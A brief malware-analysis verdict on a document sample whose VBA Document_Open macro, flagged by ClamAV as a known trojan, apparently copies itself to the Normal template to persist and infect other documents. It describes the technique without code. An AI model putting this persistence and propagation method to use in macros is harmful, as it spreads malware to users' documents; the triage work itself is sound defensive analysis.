The sample contains VBA macros, specifically a Document_Open macro, which is a strong indicator of malicious intent. The ClamAV detection and heuristic firings confirm the presence of a known trojan. The macro code appears to attempt to copy itself to the Normal template and potentially infect other documents, a common persistence and propagation technique.
